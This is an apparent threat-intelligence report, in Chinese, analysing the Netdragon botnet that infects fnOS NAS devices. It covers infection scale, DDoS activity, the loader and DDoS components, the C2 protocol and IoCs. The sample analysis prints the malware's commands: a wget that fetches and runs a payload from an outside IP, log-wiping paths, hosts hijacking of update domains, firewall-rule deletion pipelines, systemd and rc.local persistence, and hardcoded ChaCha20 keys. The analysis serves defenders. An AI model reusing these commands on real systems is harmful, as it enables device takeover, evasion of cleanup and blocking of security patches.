针对飞牛 NAS 的僵尸网络Netdragon 快速分析
背景
近期,飞牛(fnOS)网络附加存储设备(NAS)曝出大规模遭入侵并感染恶意软件的安全事件。攻击者疑似利用飞牛 NAS 系统中尚未公开的安全漏洞,在设备对外暴露相关服务的情况下成功植入恶意程序。通过对已捕获并分析的恶意样本进行研判,我们确认其隶属于 netdragon 恶意软件家族。该家族最早于 2024 年 10 月被我们发现并持续跟踪至今,其核心能力包括 DDoS 攻击与远程命令执行,可将被感染的 NAS 设备纳入僵尸网络,参与大规模分布式拒绝服务攻击活动。
值得注意的是,Netdragon 在其入侵行为逐步暴露后,持续对样本的对抗能力进行升级,通过多层手段削弱防御与清除效果。在网络层面,样本会主动删除系统中用于阻断 C2 通信的 iptables / nft规则,绕过既有封堵措施;同时篡改 hosts 文件,对飞牛 NAS 官方升级域名进行劫持,从而阻断设备获取系统更新和安全补丁。
在持久化方面,Netdragon 同时引入 systemd 服务与内核模块,构建用户态与内核态的双重持久化机制,显著提升样本在设备上的存活能力;而在代码层面,则通过动态密钥加壳等方式增加逆向分析与签名检测的难度。上述多种对抗手段协同作用,使受感染设备难以被彻底清除,显著抬高了防御、溯源与应急响应成本。
受这些对抗行为影响,部分受害设备的系统升级机制被直接破坏,表现为无法正常完成系统升级或安装官方安全补丁)。该问题进一步导致设备长期处于受感染状态,安全风险被持续放大。
受限于当前可获取的数据,我们尚无法完整还原飞牛 NAS 被入侵的具体攻击路径及漏洞细节,相关内容暂不展开讨论。本文将重点围绕恶意样本行为分析、感染规模评估以及 DDoS 攻击活动特征等方面,分享我们阶段性的研究结论。
感染情况分析
经过对样本功能的深入分析,我们确认netdragon会在受害设备上开启一个 http 后门接口,攻击者可通过该接口对被感染设备实施远程访问与控制。
基于该后门的通信特征,并结合 XLAB 全球鹰资产测绘能力 进行排查,我们共发现 1000 余个存在感染迹象的 IP 地址。分析结果表明,这些 IP 均对应 飞牛设备,目前尚未发现其他类型设备受到影响。
此外,从 XLAB 伴随域名数据 中也可以进一步佐证上述结论。如下图所示,xd.killaurasleep[.]top 为 netdragon 下载样本所使用的域名,该域名在被动 DNS 记录中与多个飞牛相关域名存在明显的伴随关系,表明被感染设备可能主要集中于飞牛生态。
感染规模方面,结合XLAB全球鹰资产测绘和我们掌握的C2控制端数据看。netdragon僵尸网络1月底感染的设备可能在1500台左右。
DDoS攻击分析
我们自 2024 年 10 月起持续监控与 netdragon 相关的 DDoS 攻击活动。分析显示,netdragon 主要通过 Telegram Bot、HTTP API 等渠道接收攻击指令,并据此发起分布式拒绝服务(DDoS)攻击。
监控结果表明,netdragon 的攻击行为不具备明显的定向性,攻击目标分布范围较广,主要涉及中国、美国、新加坡、澳大利亚等地区。受影响对象涵盖信息传输、软件与信息技术服务、制造业,以及公共管理、社会保障和社会组织等多个行业领域。
另外我们还观察到2月1日夜晚僵尸网络作者向所有BOT发出了一条删除文件指令、删除飞牛NAS设备上的一个私钥文件rsa_private_key.pem。我们不确定删除这个文件的目的是什么,但是删除私钥文件这种操作看着就很危险。

样本分析
通过我们跟踪系统长期监测,已捕获到该恶意家族的多个变种样本。综合分析发现,该家族样本整体采用模块化设计,主要由 Loader 组件 和 DDoS 组件 两个核心部分构成。其中,Loader 组件负责在受害设备上完成初始加载、环境探测及后续功能模块的投递,而 DDoS 组件则用于执行具体的攻击指令。最新样本在运行过程中展现出多项与 fnOS 环境高度相关的行为特征,包括对系统结构、服务配置及运行环境的针对性适配,表明该恶意家族最新的样本并非泛化传播,而是对 fnOS 设备具有明确的定向攻击意图。
Loader组件
该组件主要完成痕迹清理、持久化、阻断更新/恢复的功能
隐藏攻击痕迹
清空日志相关文件目录,隐藏攻击痕迹,目录及文件如下:
/var/log/accountsrv/
/var/log/apps/
/var/log/apt/
/var/log/cloud_storage_dav/
/var/log/openvswitch/
/var/log/postgresql/
/var/log/trim_app_center/
/var/log/trim_license/
/var/log/trim_sac/
/var/log/trim_tfa/
/var/log/trim-connect/
/var/log/trim-sharelink/
/var/log/*.log
/usr/trim/logs/ai_manager/
/usr/trim/logs/*.log
/usr/trim/nginx/logs/
/var/log/secure
/var/log/secure.1
/var/log/secure-*
/var/log/secure.*.gz
/var/log/messages
/var/log/messages.1
/var/log/messages-*
/var/log/messages.*.gz
/run/log/journal/
/var/log/journal/
/var/log/wtmp
/var/log/btmp
/var/log/lastlog
/var/log/audit/audit.log
/var/log/audit/audit.log.*
http后门
监听本地端口57132,实现http后门,可执行任意指令
method: GET
path: /api
arg: log
后门通过解密参数hex字符串得到要执行的指令,若执行成功会返回"OK"
阻止更新与恢复
- 通过修改hosts劫持飞牛os更新域名到0.0.0.0
apiv2-liveupdate.fnnas.com
update-service.test.teiron-inc.cn
- 关闭用于系统恢复的服务
pkill -f sysrestore_service
pkill -f backup_service
- 删除更新/恢复相关文件
/tmp/trim-update
/tmp/appcenter
chattr
liveupdate
backup_local
backup_remote
backup_cloud
backup_service
findmnt
持久化
下载下一阶段组件并持久化
在system_startup.sh后追加
wget http://151.240.*.*/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp
DDoS组件
该组件主要用于DDoS,同时支持任意指令执行和持久化
字符串解密
使用chacha20解密字符串表

key和nonce硬编码在样本中
KEY_HEX:
161E194B111F001D041C0E080B1A110705080D0F060A15010C141F1702031318
NONCE_HEX:
1E002A0000036E0000070106
解密出的字符串表如下:
PWNED FROM NETDRAG
sshd
/ngday
x86
/dev
/tmp
aura.kabot.icu
xd.bmlkda.icu
/etc/hosts
/etc/machine-id
/proc/sys/kernel/random/boot_id
针对几个重点字符串的说明:
- 成功运行后会输出
PWNED FROM NETDRAG - 修改进程名为
sshd - 在本地监听端口(不固定,根据本地地址生成),当读取到
/ngday时退出,确保单一实例运行
隐藏自身
成功运行后会删除自身文件
通过挂载操作,隐藏或隔离当前和子进程在/proc下的信息

/proc/[PID] -> /tmp
持久化
复制自身到/sbin/gots和/usr/bin/%s
下文中的%s为文件名,botid为样本运行的第一个参数,如果无参数默认为x86
- 在
/etc/systemd/system/%s.service下创建服务
[Unit]\nDescription=AutoStart Service
After=network-online.target
Requires=network-online.target
[Service]
Type=oneshot
ExecStart= /usr/bin/%s botid
RemainAfterExit=yes
Restart=no
[Install]
WantedBy=multi-user.target
- 通过
/etc/rc.d/rc.local和/etc/rc.local实现持久化
# AutoStart
/sbin/gots botid &
C2与网络协议
随机选择硬编码在样本中的45.95.*.*或者字符串表中的aura.kabot[.icu作为C2
从4个端口中随机选择一个连接:3489, 5098, 6608, 7489
明文消息格式:
type Message{
msgType uint8
pLen uint16
padding uint16
randLen uint16
randByte []byte
paylaoad []byte
}
消息类型和所代表的功能
| msgType | desc |
|---|---|
| 1 | DDoS |
| 2 | task done |
| 3 | ping |
| 4 | handshake |
| 5 | botid |
| 6 | login |
| 7 | pong |
| 8 | exec cmd |
协议基于ChaCha20算法实现。其核心特征在于双向独立的持久化流状态,配合硬编码密钥进行初始会话协商。
协议交互分为四个关键阶段:
- 初始上线
Bot 端主动发起,发送明文上线包。

由于随机函数代码bug,导致消息的随机数据长度为0同时上线包无payload,因此上线包hex为
06 00 00 00 00 00 00
- 密钥协商与 Nonce 分发
由服务端生成随机的单密钥和双Nonce,并采用了二次加密:
Session Key 保护:使用32 字节 Key 进行 XOR 运算后发出。
双 Nonce 机制:服务端下发两个不同的 Nonce:
NonceA:用于 Bot 端发送数据加密(服务端解密)。
NonceB:用于服务端发送数据加密(Bot 端解密)。
- 握手验证
这是确保 XOR 解密后的 Session Key 正确性的关键步骤:
Bot 验证:Bot 使用解出的Key和NonceA加密handshake消息发往服务端。
服务端验证:服务端解密并比对消息类型,若正确则使用Key和NonceB回复加密响应。
状态同步:Bot解密响应,若成功,则双方建立互信。
- 确认分组与指令循环
Bot加密发送botid消息,服务端可根据该ID对Bot进行分组
持续通信:进入指令循环阶段,Bot 持续监听服务端下发的加密指令。
隐藏DDoS行为
在接收到DDoS指令时,还会执行以下指令
mv /usr/bin/cat /usr/bin/cat2
pkill -f 'network_service|resmon_service
这意味着在进行DDoS时,无法使用系统的cat命令和网络资源监控服务,以此来隐藏DDoS行为
对抗
发现问题后,官方和部分用户发布了解决方案/脚本,但在1月31日该僵尸网络再次更新组件进行对抗
- 删除nft和iptable中删除阻止C2连接的规则
nft list ruleset -a | grep C2IP | sed -n 's/.*table \\([^ ]*\\) \\([^ ]*\\).*handle \\([0-9]*\\).*/nft delete rule \\1 \\2 handle \\3/p' | sh
iptables -t filter -S | grep C2IP | sed 's/^-A/-D/' | sh
iptables -t nat -S | grep C2IP | sed 's/^-A/-D/' | sh
iptables -t mangle -S | grep C2IP | sed 's/^-A/-D/' | sh
iptables -t raw -S | grep C2IP | sed 's/^-A/-D/' | sh
-
修改webshell后门的端口为57199
-
新的内核持久化模块
async_memcpys.ko


-
新的用户态持久化服务
/etc/systemd/system/dockers.service -
更换新的C2基础设施
-
使用动态的8字节KEY对样本进行加壳保护

IoC
20.89.168.131 Japan|Tokyo|Tokyo AS8075|Microsoft Corporation
xd.killaurasleep[.top
ak.killaurasleep[.top
aura.kabot[.icu
a5dcff8289d7468f6cd4783a19f4d8d94c76170a
a50bc62f34bff2761d9117c62f172ede4c508bf7